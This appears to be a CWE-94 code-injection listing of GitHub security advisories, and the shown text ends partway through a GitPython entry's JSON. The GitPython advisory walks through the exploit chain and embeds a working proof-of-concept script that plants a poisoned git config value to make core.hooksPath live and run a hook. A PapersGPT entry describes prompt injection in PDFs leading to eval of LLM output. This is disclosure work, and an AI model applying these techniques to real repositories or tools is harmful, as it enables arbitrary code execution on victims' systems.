Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9209 vulnerabilities reference this CWE, most recent first.

GHSA-27PM-56M3-Q426

Vulnerability from github – Published: 2023-12-22 18:30 – Updated: 2024-08-28 00:32
VLAI
Details

TOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘hour’ parameter of the setRebootScheCfg interface of the cstecgi .cgi.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-22T18:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the \u2018hour\u2019 parameter of the setRebootScheCfg interface of the cstecgi .cgi.",
  "id": "GHSA-27pm-56m3-q426",
  "modified": "2024-08-28T00:32:13Z",
  "published": "2023-12-22T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51026"
    },
    {
      "type": "WEB",
      "url": "https://815yang.github.io/2023/12/11/EX1800T/2/TOTOlinkEX1800T_V9.1.0cu.2112_B2022031setRebootScheCfg-hour"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27Q4-QVJW-MJXW

Vulnerability from github – Published: 2025-03-31 21:32 – Updated: 2025-04-02 15:31
VLAI
Details

Netgear WNR854T 1.5.2 (North America) is vulnerable to Command Injection. An attacker can send a specially crafted request to post.cgi, updating the nvram parameter get_email. After which, they can visit the send_log.cgi endpoint which uses the parameter in a system call to achieve command execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-54805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T21:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Netgear WNR854T 1.5.2 (North America) is vulnerable to Command Injection. An attacker can send a specially crafted request to post.cgi, updating the nvram parameter get_email. After which, they can visit the send_log.cgi endpoint which uses the parameter in a system call to achieve command execution.",
  "id": "GHSA-27q4-qvjw-mjxw",
  "modified": "2025-04-02T15:31:19Z",
  "published": "2025-03-31T21:32:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54805"
    },
    {
      "type": "WEB",
      "url": "https://faultpoint.com/post/2025-03-25-8-cves-on-the-wnr854t-junkyard/#805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27RP-767P-M9WX

Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44
VLAI
Details

PHP remote file inclusion vulnerability in config.inc.php in XZero Community Classifieds 4.95.11 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path_escape parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-6568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-28T21:46:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in config.inc.php in XZero Community Classifieds 4.95.11 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path_escape parameter.",
  "id": "GHSA-27rp-767p-m9wx",
  "modified": "2022-05-01T18:44:18Z",
  "published": "2022-05-01T18:44:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6568"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39258"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4795"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39742"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27040"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-27V6-4M9P-3QQ4

Vulnerability from github – Published: 2022-09-22 00:00 – Updated: 2022-09-25 00:00
VLAI
Details

Authenticated Arbitrary Code Execution vulnerability in Soflyy Import any XML or CSV File to WordPress plugin <= 3.6.7 at WordPress.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-21T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated Arbitrary Code Execution vulnerability in Soflyy Import any XML or CSV File to WordPress plugin \u003c= 3.6.7 at WordPress.",
  "id": "GHSA-27v6-4m9p-3qq4",
  "modified": "2022-09-25T00:00:28Z",
  "published": "2022-09-22T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36386"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-all-import/wordpress-import-any-xml-or-csv-file-to-wordpress-plugin-3-6-7-authenticated-arbitrary-code-execution-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wp-all-import/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27WM-9RGH-2VCQ

Vulnerability from github – Published: 2026-08-11 21:33 – Updated: 2026-08-11 21:33
VLAI
Details

PapersGPT for Zotero 0.6.1 contains a remote code execution vulnerability that allows attackers to execute arbitrary JavaScript by returning malicious code from an LLM endpoint that is passed unsanitized to window.eval() in views.ts. Attackers can exploit this through prompt injection in PDFs, MITM interception of API requests, or a malicious custom LLM endpoint to execute arbitrary code in Zotero's chrome-privileged context, enabling file read/write, process execution, and access to all Zotero data.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-73032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T20:18:46Z",
    "severity": "CRITICAL"
  },
  "details": "PapersGPT for Zotero 0.6.1 contains a remote code execution vulnerability that allows attackers to execute arbitrary JavaScript by returning malicious code from an LLM endpoint that is passed unsanitized to window.eval() in views.ts. Attackers can exploit this through prompt injection in PDFs, MITM interception of API requests, or a malicious custom LLM endpoint to execute arbitrary code in Zotero\u0027s chrome-privileged context, enabling file read/write, process execution, and access to all Zotero data.",
  "id": "GHSA-27wm-9rgh-2vcq",
  "modified": "2026-08-11T21:33:10Z",
  "published": "2026-08-11T21:33:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/issues/154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/pull/155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero/commit/094134172ce4a344a31e4b196cc75d1806383658"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papersgpt/papersgpt-for-zotero"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/papersgpt-for-zotero-rce-via-unsanitized-llm-response-eval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-27WP-JVHW-V4XP

Vulnerability from github – Published: 2024-08-08 14:48 – Updated: 2024-08-08 17:00
VLAI
Summary
Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag
Details

Impact

Shopware has a new Twig Tag sw_silent_feature_call which silences deprecation messages while triggered in this tag. It accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.

Patches

Update to Shopware 6.6.5.1 or 6.5.8.13

Workarounds

For older versions of 6.2, 6.3, and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0"
            },
            {
              "fixed": "6.6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-42355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-08T14:48:03Z",
    "nvd_published_at": "2024-08-08T15:15:18Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nShopware has a new Twig Tag `sw_silent_feature_call` which silences deprecation messages while triggered in this tag.\nIt accepts as parameter a string the feature flag name to silence, but this parameter is not escaped properly and allows execution of code.\n\n### Patches\nUpdate to Shopware 6.6.5.1 or 6.5.8.13\n\n### Workarounds\nFor older versions of 6.2, 6.3,  and 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n",
  "id": "GHSA-27wp-jvhw-v4xp",
  "modified": "2024-08-08T17:00:14Z",
  "published": "2024-08-08T14:48:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-27wp-jvhw-v4xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42355"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/a784aa1cec0624e36e0ee4d41aeebaed40e0442f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/core/commit/d35ee2eda5c995faeb08b3dad127eab65c64e2a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/445c6763cc093fbd651e0efaa4150deae4ae60da"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/8504ba7e56e53add6a1d5b9d45015e3d899cd0ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag"
}

GHSA-283M-G47H-4XP3

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2022-05-24 22:00
VLAI
Details

OpenEMR v5.0.1-6 allows code execution.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-8371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-16T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "OpenEMR v5.0.1-6 allows code execution.",
  "id": "GHSA-283m-g47h-4xp3",
  "modified": "2022-05-24T22:00:36Z",
  "published": "2022-05-24T22:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8371"
    },
    {
      "type": "WEB",
      "url": "https://know.bishopfox.com/advisories/openemr-5-0-16-remote-code-execution-cross-site-scripting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-284F-R3F8-MCP6

Vulnerability from github – Published: 2022-05-02 03:37 – Updated: 2022-05-02 03:37
VLAI
Details

PHP remote file inclusion vulnerability in toolbar_ext.php in the MediaLibrary (com_media_library) component 1.5.3 Basic for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2009-2634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-07-28T19:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in toolbar_ext.php in the MediaLibrary (com_media_library) component 1.5.3 Basic for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
  "id": "GHSA-284f-r3f8-mcp6",
  "modified": "2022-05-02T03:37:12Z",
  "published": "2022-05-02T03:37:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2634"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/8912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-284H-M62Q-GF8W

Vulnerability from github – Published: 2026-09-08 18:39 – Updated: 2026-09-08 18:39
VLAI
Summary
GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE
Details
  • CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
  • Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path

  1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
  2. The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
  3. GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks
  4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
  5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions

  • A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
  • Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
  • The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
  • Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
  • No authentication/role requirement inside GitPython itself.

Evidence

  • git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
  • git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
  • c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
  • git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
  • PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read)

  • Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
  • Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
  • Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
  • Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)


if __name__ == "__main__":
    main()
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:39:40Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
